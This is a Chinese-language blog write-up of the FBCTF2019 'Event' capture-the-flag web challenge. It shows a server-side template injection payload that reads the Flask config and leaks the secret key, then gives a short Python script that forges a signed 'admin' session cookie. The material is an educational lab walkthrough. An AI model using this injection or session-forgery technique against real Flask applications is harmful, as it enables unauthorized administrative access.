[FBCTF2019]Event

[FBCTF2019]Event

知识点

从HCTF两道Web题谈谈flask客户端session机制

解题步骤

一个简单的登录框。
先随便搞个帐号注册登录。
发现输入框


然后不懂咋写
看wp:https://www.cnblogs.com/karsa/p/13726823.html (后面部分内容来自该wp)
没想到看到/flag的链接就可以怀疑是python后端。倒是能看出cookie的.分式像flask的东西,但是用{{}}却无法注入
在event_important处注入

可以看到flask后端

然后就可以用__class__.__init__.__globals__[app].config来进行配置读取

第一行获取到密钥。
根据上面的知识点链接,和wp的总结:

  • flask原理:json->zlib->base64后的源字符串 . 时间戳 . hmac签名信息
  • 在flask/sessions.py中,SecureCookieSessionInterface用于封装对CookieSession的一系列操作
  • 默认的序列化方式为session_json_serializer = TaggedJSONSerializer()
  • SecureCookieSessionInterface类的获取签名验证序列化器函数为get_signing_serializer
    所以,用以下exp来获取cookie
from flask import Flask
from flask.sessions import SecureCookieSessionInterface

app = Flask(__name__)
app.secret_key = b'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y'

session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)

@app.route('/')
def index():
    print(session_serializer.dumps("admin"))

index()

然后将生成的cookie替换到user的cookie,去admin panel即可得到flag

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇